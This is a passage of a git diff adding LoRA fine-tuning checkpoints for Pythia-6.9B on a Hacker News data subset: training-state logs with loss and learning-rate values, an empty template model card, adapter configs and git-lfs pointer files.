2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.29405007806464e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4b58a8b5d86af576ee2160f00ee18b21e0a31155 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0403f82800cba03735e1fd02725c45e1f61ce05e3ea1f8dd87a70849248baa68 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..eb5e0dfbfde7ef8ec029b5233c2ea81dfda76068 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7858b862240bc457acf9bef4a5df3aabc9ce23dea78f3f280b8eec55e9d254e2 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..61dde1ed8b180510bbda84f0c71356862600ad55 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bdf2188bfe5b1127367f0a0d0628c845d9f54239950b10ed26be9372dba68d0b +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e9d3263bcfa5d62a56c74c931026d6e1762a1781 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0d75316f47d5ef08dad7230d3c189fb5ad736372bf2da793895c59a4ccba811f +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..17a06614af9a9401f1aae5bee81d4a5f0e9e214b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json @@ -0,0 +1,258 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.0, + "eval_steps": 10, + "global_step": 150, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.4579107979264e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..3c92078f3d394ad2a75d2f6b7846302bc0c7ea75 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b0d1170d2ba6a49d68fc692063056c60d2a2ba3e90a3006b89b28becb03b875 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..a0051fc74efab4cd242ac63438772ef455aee183 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3cfc67edb1ca5ca2d3d97d4cdef90fb20d6310794c6ff756e0053c9f91cac31e +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..564fc6da8e7c6b2c0f5b62f1f2e55b96ec29c066 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0f1a4ff62819275ae908067e10e49db3630270d7e753db72e5d286184508926f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..333a8435179bb1a27e74cf71169524425347df64 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3c60f731d4cb1d489de80d48b0d2bf2049ddfec30c083dac3c65e6fc26b9708e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5d3c945667d818719804ad7deda2812ca6ff7b65 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json @@ -0,0 +1,273 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.1333333333333333, + "eval_steps": 10, + "global_step": 160, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + 